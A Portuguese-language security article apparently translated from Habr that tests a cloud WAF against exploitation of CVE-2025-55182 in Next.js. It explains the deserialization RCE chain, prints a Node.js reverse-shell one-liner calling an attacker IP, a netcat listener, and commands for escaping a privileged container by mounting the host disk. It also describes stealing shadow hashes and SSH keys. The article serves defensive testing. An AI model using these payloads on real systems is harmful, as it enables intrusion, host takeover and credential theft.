CVE-2025-55182, Shell и побег из контейнера: Testando o PT Cloud Application Firewall

CVE-2025-55182, Shell и побег из контейнера: Testando o PT Cloud Application Firewall

Este artigo explora a eficácia do PT Cloud Application Firewall (ucWAF) na detecção e prevenção de ataques de RCE (Remote Code Execution) e fuga de contêineres explorando a vulnerabilidade CVE-2025-55182 no Next.js. O autor detalha a arquitetura do teste, a exploração da vulnerabilidade e como o WAF reage a diferentes cenários de ataque.

MundiX News·26 de maio de 2026·10 min de leitura·👁 3 views

Olá, Habr! Meu nome é Ivan Chebotarev, engenheiro de proteção de aplicações na K2 Cybersecurity. Neste artigo, analisarei como o PT Cloud Application Firewall (ucWAF) reage à fuga de contêineres após RCE usando a nova CVE-2025-55182. Esta é uma vulnerabilidade no Next.js que permite Remote Code Execution através do mecanismo Server Actions. Montei um ambiente de teste com um Next.js vulnerável e verifiquei: um web shell clássico, um Reverse Shell e a fuga de contêiner. Next.js é um dos frameworks de frontend mais populares, e Server Actions estão ativados por padrão a partir da versão 14. Se você implanta Next.js em contêineres, este artigo mostrará como é a cadeia completa de RCE à saída para o host, e em qual estágio o WAF pode detê-la.

Arquitetura do Ambiente de Teste

Para demonstrar o funcionamento da vulnerabilidade e testar o WAF, implantei um ambiente de teste na nuvem com três componentes: Estação de Trabalho do Atacante → ucWAF → Servidor Next.js. A Estação de Trabalho do Atacante envia uma requisição maliciosa para o ucWAF. O ucWAF a processa através das regras, a encaminha para o servidor Next.js, recebe a resposta e a retorna ao atacante.

Servidor Next.js

Como alvo do ataque, escolhi uma imagem de teste pronta de uma aplicação vulnerável no GitHub: github.com/msanft/CVE-2025-55182. Criamos um Dockerfile:

dockerfile
FROM node:20-alpine
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]

Construímos a imagem e iniciamos o contêiner:

bash
docker build -t cve .
docker run --privileged -d -p 3000:3000 --name cve-test cve-test

Verificamos o log do contêiner para garantir que ele está funcionando corretamente e passamos para o próximo componente:

bash
docker logs -f cve

Nginx com Cérebro

O PT Cloud Application Firewall é um proxy reverso nginx com um módulo da Positive Technology que implementa funcionalidades de WAF. O ucWAF é instalado "em linha" de forma que todo o tráfego de entrada passe por ele e, após análise e filtragem, seja encaminhado para o servidor de destino. O servidor Next.js está em uma sub-rede isolada e não é diretamente acessível de fora. Para o servidor de destino, o ucWAF parece um cliente comum, um intermediário completamente "transparente".

Configuração do nginx:

nginx
upstream next {
   server 172.31.5.5:3000;
}

server {
   listen           80;
   server_name      next;
   location / {
       proxy_pass http://next;
       proxy_set_header Host $host;
       proxy_set_header X-Real_IP $remote_addr;
       proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
       proxy_set_header X-Forwarded-Proto $scheme;
   }
}

A seção upstream define o endereço do servidor de destino (172.31.5.5:3000). A seção server define a porta de escuta e os cabeçalhos para um proxy correto. Detalhe importante: server_name next, e não _. Isso significa que antes de testar, é necessário adicionar uma entrada em /etc/hosts: <IP_WAF> next. Para nossos testes, o WAF inicialmente operou em modo de monitoramento para vermos o que exatamente estava sendo acionado.

O que são Server Actions e o que há de errado com elas

Agora, um pouco de teoria. Você está escrevendo uma aplicação full-stack em Next.js e deseja executar alguma lógica diretamente no servidor sem criar um endpoint de API separado, REST ou GraphQL. Com Server Actions, é simples: você escreve uma função, a marca com a diretiva use server, e o Next.js cuida do roteamento. Ele cria um identificador de hash exclusivo para a função e começa a aceitar requisições POST para /_next/action com esse hash no cabeçalho Next-Action. Conveniente, rápido e sem código boilerplate. Não é de se admirar que os desenvolvedores tenham começado a usar ativamente Server Actions logo após seu surgimento como recurso experimental na versão 13 do Next.js.

Mas há um porém: mesmo que a aplicação não tenha nenhuma função com use server, o mecanismo de processamento de Server Actions está ativado por padrão (parâmetro serverActions: true).

javascript
/** @type {import('next').NextConfig} */
const nextConfig = {
 experimental: {
   serverActions: true, // habilita Server Actions
 },
 poweredByHeader: false,
 compress: true,
 reactStrictMode: true,
};

O manipulador /_next/action (ou POST para qualquer página com o cabeçalho Next-Action) inicia a desserialização através de decodeReplyFromBusboy. A superfície de ataque existe em qualquer aplicação Next.js com configurações padrão, mesmo que você mesmo não use Server Actions.

Princípio de Funcionamento da CVE

A essência da vulnerabilidade CVE-2025-55182 é que é suficiente para um invasor enviar uma requisição POST para qualquer rota do Next.js com o cabeçalho Next-Action (qualquer valor) e um corpo multipart especialmente formado. A vulnerabilidade é acionada na etapa de desserialização do React Flight Protocol, antes da verificação do hash da ação. Assim, o RCE é alcançado com uma única requisição, mesmo que a aplicação não tenha nenhuma Server Action real. Para realizar o ataque, é necessário enviar uma requisição multipart/form-data especialmente formada, que contém vários chunks de dados. Esses chunks podem se referir uns aos outros, criando estruturas complexas.

A vulnerabilidade reside no fato de que, ao percorrer essas referências, o React não verificava se a chave solicitada existia no objeto. Isso permitia chegar à cadeia de protótipos (__proto__) e, finalmente, ao construtor de funções (Function) em apenas seis etapas:

  1. Thenable Falso: Primeiro, um objeto (chunk 0) é criado, onde o campo then é definido como "$1:__proto__:then". Esta é uma referência ao then do protótipo do chunk (Chunk.prototype.then). Como resultado, quando este objeto é retornado de decodeReplyFromBusboy e await tenta resolvê-lo, Chunk.prototype.then é chamado. O controle é transferido para a função initializeModelChunk, onde o processamento secundário começa.
  2. Uso de $@ para Acesso ao Chunk Bruto: No segundo chunk (chunk 1), é colocado "$@0", o que significa "retornar o chunk bruto 0 sem resolver referências". Isso permite reutilizar o mesmo objeto, mas com status já definido como "resolved_model" e outros campos controláveis.
  3. Injeção através do Manipulador Blob ($B): Dentro de initializeModelChunk, o valor chunk.value é analisado como JSON. Um valor especialmente formado '{ "then": "$B0" }' força o manipulador do protocolo Flight a executar o código para um blob ($B). O manipulador $B executa: response._formData.get(response._prefix + obj). Aqui, obj = 0, _formData e _prefix são controlados pelo atacante através do campo _response no mesmo chunk.
  4. Substituição de _formData.get pelo Construtor Function: Em _response._formData é passado um objeto cujo método get é substituído por "$1:constructor:constructor". Graças ao acesso prototípico, isso se transforma em Function - o construtor embutido que cria funções a partir de uma string de código.
  5. Execução de Código Arbitrário: Em _prefix é colocada uma string com o código JavaScript que deve ser executado. Como resultado da chamada: response._formData.get(response._prefix + "0"), o método get é substituído pelo construtor Function, então, na verdade, Function(code) é chamado. A função criada é retornada como um thenable e imediatamente chamada pelo motor Promise, pois todo o mecanismo de desserialização funciona em uma cadeia assíncrona. Assim, o código é executado.
  6. RCE via child_process: No código, é usado import('child_process').then(cp => cp.execSync('comando')) (ou require, se for ambiente CommonJS). A saída do comando pode ser exfiltrada, por exemplo, lançando um erro com o resultado, que cairá no campo digest da resposta.

É importante notar que o ataque ocorre na etapa de desserialização, antes mesmo que o Next.js verifique qual Server Action específico está sendo chamado. Isso significa que qualquer servidor com Server Actions habilitadas é vulnerável, mesmo que a aplicação não tenha funções perigosas. Em nosso ambiente, não há ações de servidor, mas como elas estão habilitadas, podemos enviar código malicioso. Mais detalhes sobre isso podem ser encontrados com o autor do ambiente: msanft/CVE-2025-55182.

Cenário 0: Testando o PoC Original

Começaremos com o PoC original do mesmo projeto no GitHub. Para executá-lo, será necessário Python com a biblioteca requests. Através do PoC, é possível executar comandos no servidor e obter a saída. Por exemplo, chamamos a execução de um script e passamos o servidor Next.js e o comando: python3 exp.py http://next "ls", e em resposta recebemos:

1:E{"digest":"Dockerfile\nREADME.md\napp\nbun.lock\neslint.config.mjs\nnext-env.d.ts\nnext.config.ts\nnode_modules\npackage-lock.json\npackage.json\npostcss.config.mjs\npublic\ntsconfig.json","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null}

Assim, como resultado da exploração, o servidor retorna o status HTTP 500 Internal Server Error, pois a execução do payload leva a uma exceção intencional (NEXT_REDIRECT). No entanto, antes disso, o código arbitrário consegue ser executado, e sua saída (ou resultado da execução do comando) é passada dentro do erro no campo digest. Assim, o atacante pode obter execução remota de comandos com o resultado.

Montei uma interface web simples sobre este PoC para não ter que lidar com o console: as requisições e respostas do servidor agora são visíveis diretamente no navegador. Tudo isso deve ser executado a partir da Estação de Trabalho do Atacante, e tanto o PoC quanto a interface web estarão lá.

Se enviarmos uma requisição maliciosa para o servidor agora, encontraremos CORS (Cross-Origin Resource Sharing). O navegador, antes de enviar uma requisição para um domínio diferente, envia uma requisição OPTIONS (preflight) para saber os métodos, cabeçalhos, etc. Nosso servidor não espera tais requisições e honestamente retornará um erro 400. É como ir a uma festa com um convite e descobrir que o segurança não tem a lista de convidados. Para resolver esse problema, é necessário um proxy no servidor do atacante. Pela mesma analogia: não discutiremos com o segurança, mas pediremos a um colega que já entrou na festa para levar um presente e entregá-lo lá dentro.

A esquema é a seguinte: o navegador envia requisições para o seu próprio servidor do atacante, e este as encaminha diretamente para o domínio de destino - sem preflight, sem CORS. Também seria possível desativar a política CORS no navegador, mas isso é menos conveniente e mais fácil de se confundir.

Cenário 1: Web Shell Clássico contra WAF

Nosso ucWAF detecta requisições enviadas via /proxy ou diretamente via script. O ucWAF analisa a requisição por chaves, incluindo o corpo POST, e procura por padrões característicos de injeção de comandos do SO, detectando o Web Shell através de assinaturas embutidas sem qualquer configuração adicional.

Lá mesmo na interface, é possível ver os dados "brutos" - a própria requisição e a resposta. Claro, o servidor retorna uma resposta apenas porque o ucWAF está operando em modo de detecção. Em modo de bloqueio, ele teria rejeitado a requisição, e não teríamos recebido nenhuma resposta.

Cenário 2: Reverse Shell

Agora, vamos considerar um cenário mais interessante em que o tráfego flui diretamente entre o servidor e o atacante, contornando o WAF, de modo que a única chance de impedir o ataque é interceptar a requisição inicial que é executada através de executeCommand.

bash
node -e "const net=require('net'),cp=require('child_process'),sh=cp.spawn('/bin/sh',[]);const client=new net.Socket();client.connect(4444,'172.31.5.22',()=>{client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});"

O Node.js estabelece uma conexão TCP de saída para a Estação de Trabalho do Atacante (172.31.5.22:4444) e encaminha o stdin/stdout do shell através dela. Ao contrário do web shell, aqui todo o tráfego subsequente flui diretamente entre o servidor e o atacante, contornando o WAF. É por isso que é tão importante bloquear a primeira requisição; após o estabelecimento da conexão, o WAF não verá mais nada.

Antes de enviar, mudaremos o ucWAF para o modo de bloqueio e veremos o que acontece. Em nosso site, vemos a resposta:

Na interface web do ucWAF, vemos nosso acionamento sem código de resposta.

No mapa de acionamentos, vemos por qual critério o ataque foi bloqueado. A requisição para o Reverse Shell aciona uma série de regras, e nos logs fica aquela em que o WAF interrompe a conexão. Abaixo, mudaremos o SZI para o modo de escuta e nos certificaremos de que o ucWAF aciona tanto o React quanto o CVE-2025-55182 (React).

Bloquear tal requisição é importante: se ela for executada com sucesso, o atacante estabelecerá uma sessão diretamente com a Estação de Trabalho, contornando o ucWAF. Depois disso, já não será possível rastrear suas ações.

Vamos ver o que isso implica na prática. Na Estação de Trabalho do Atacante, é necessário abrir uma porta para escuta (no meu caso, 4444). Para isso, precisaremos do netcat:

bash
nc -lvnp 4444

Mudaremos o ucWAF para o modo de detecção e veremos como o ataque se parece. No log de acionamentos do ucWAF, haverá apenas uma requisição para tal conexão e os comandos seguintes virão diretamente.

Como vemos, no modo de monitoramento, o WAF não interrompeu a conexão e a regra foi acionada por todas as assinaturas que foram incorporadas ao WAF.

O código de resposta aqui não significa que o ucWAF bloqueou algo no modo de monitoramento. Ele indica outra coisa: a requisição estabeleceu uma conexão via Reverse Shell, e o servidor Next.js não respondeu porque estabeleceu a conexão e não tem nada a retornar. Três acionamentos ao mesmo tempo, porque a requisição com o Reverse Shell atinge várias regras simultaneamente. Em nosso caso, houve um acionamento: o ucWAF bloqueou o ataque pelo primeiro critério e não verificou mais as regras.

Fuga de Contêiner

Já mostramos que é possível executar comandos dentro do contêiner através da CVE-2025-55182, mas este é um ambiente isolado, e o RCE em si não significa acesso ao host. Outra coisa é se o contêiner for iniciado com o flag --privileged. Um contêiner privilegiado recebe o conjunto completo de capacidades Linux e acesso direto aos dispositivos do host através de /dev. Essencialmente, o que o separa de um root completo no host é apenas o sistema de arquivos: o contêiner tem o seu próprio. Mas se for possível acessar dispositivos de bloco, nada impede de montar o disco do host e obter acesso a todos os seus arquivos.

Em produção, --privileged é às vezes usado "por conveniência": para que o contêiner possa trabalhar com o socket Docker, gerenciar a rede ou acessar a GPU. Em nosso ambiente, o habilitamos intencionalmente para mostrar toda a cadeia de ataque de RCE à saída para o host. Esclarecimento importante: estou mostrando a fuga especificamente de um contêiner privilegiado. Se o contêiner for iniciado com configurações padrão, a técnica descrita abaixo não funcionará.

Iniciaremos o contêiner em modo privilegiado:

bash
docker run --privileged -d -p 3000:3000 --name cve cve

De dentro do contêiner, é possível verificar quais capacidades ele recebeu:

bash
cat /proc/self/status | grep -i capeff

O valor CapEff é uma máscara de bits das capacidades ativas. Se for 0000001fffffffff ou um valor próximo a ele, todas as capacidades estão habilitadas, o contêiner é privilegiado. Um valor como 00000000a80425fb significa um conjunto restrito - este é um contêiner padrão, e a montagem de discos do host não está disponível para ele.

Montando o Sistema de Arquivos do Host

Em seguida, o atacante, através do nosso web shell, executa sequencialmente quatro comandos:

bash
# 1. Encontrar discos
lsblk || fdisk -l || ls -la /dev/sd* /dev/vd*

# 2. Criar ponto de montagem
mkdir -p /host

# 3. Montar (substituir disco necessário)
mount /dev/vda1 /host && echo "Mounted!" || echo "Failed"

# 4. Verificar conteúdo
ls /host/

O primeiro comando procura por dispositivos de bloco. Em ambientes de nuvem, o disco do host é geralmente chamado de /dev/vda1 ou /dev/sda1. Um contêiner privilegiado vê todos os dispositivos do host em /dev, então lsblk os mostrará da mesma forma que no próprio host.

Após montar /dev/vda1 no diretório /host, o atacante obtém acesso total ao sistema de arquivos do host: /host/etc/shadow com hashes de senha, /host/root/.ssh/ com chaves, configurações de outros serviços - tudo está aberto. É possível ler, é possível escrever. Por exemplo, adicionar sua própria chave SSH em authorized_keys e obter acesso persistente ao host, mesmo após o contêiner ser parado.

O que o ucWAF vê após uma fuga de contêiner bem-sucedida

Vamos ver como o ucWAF reage a essa cadeia de comandos. Cada comando enviado através do web shell passa pelo ucWAF como uma requisição POST separada. O WAF registra acionamentos em padrões característicos: acesso a /dev/, chamadas mount, leitura de diretórios do sistema. Tudo isso são sinais típicos de uma tentativa de fuga de contêiner, e o WAF os captura por assinaturas embutidas.

No cartão da requisição específica, é possível ver qual regra exata foi acionada e em qual fragmento do comando.

Acionamento em um comando específico enviado. E aqui está o que obtemos como resultado.

Na captura de tela, a saída de ls /host/: o sistema de arquivos raiz do host, montado dentro do contêiner. A partir deste momento, a diferença entre "RCE no contêiner" e "root no host" desaparece.

Patch ou Bloquear

Coloque a vírgula você mesmo, mas primeiro vamos resumir. O experimento mostrou que o PT Cloud Application Firewall bloqueou corretamente ambos os cenários principais de ataque através da CVE-2025-55182. Como resultado, um servidor Next.js não corrigido com ucWAF ficou protegido da exploração da nova CVE.

No entanto, o WAF fornece controle compensatório, não substituindo completamente os patches. Se amanhã surgir uma técnica de ofuscação que as regras atuais não cubram, o WAF deixará passar tal requisição, e o invasor poderá explorar a vulnerabilidade. Nisso, o WAF é semelhante a um bom segurança: ele conhece a lista de convidados indesejados, mas é melhor que a porta ainda esteja trancada, porque a lista sempre fica um pouco atrás da realidade.

De acordo com nossas estimativas, novas regras para o PT Cloud AF aparecem dentro de um dia após a publicação da CVE, enquanto o fechamento da vulnerabilidade pode levar de vários dias a meses, no caso de sistemas corporativos complexos. O WAF fecha exatamente a janela que inevitavelmente surge entre "ameaça conhecida" e "patch implantado", mas não substitui os patches.

Reproduza Você Mesmo

A plataforma para ataques está disponível no GitHub: github.com/DeDnY/CVE-2025-55182-in-docker. O README ainda está em desenvolvimento, mas as instruções básicas de implantação estão descritas neste artigo. O ucWAF ou qualquer outro WAF deve ser adicionado por conta própria. A arquitetura do ambiente é intencionalmente simples para que qualquer solução possa ser substituída e os resultados comparados.

📤 Compartilhar & Baixar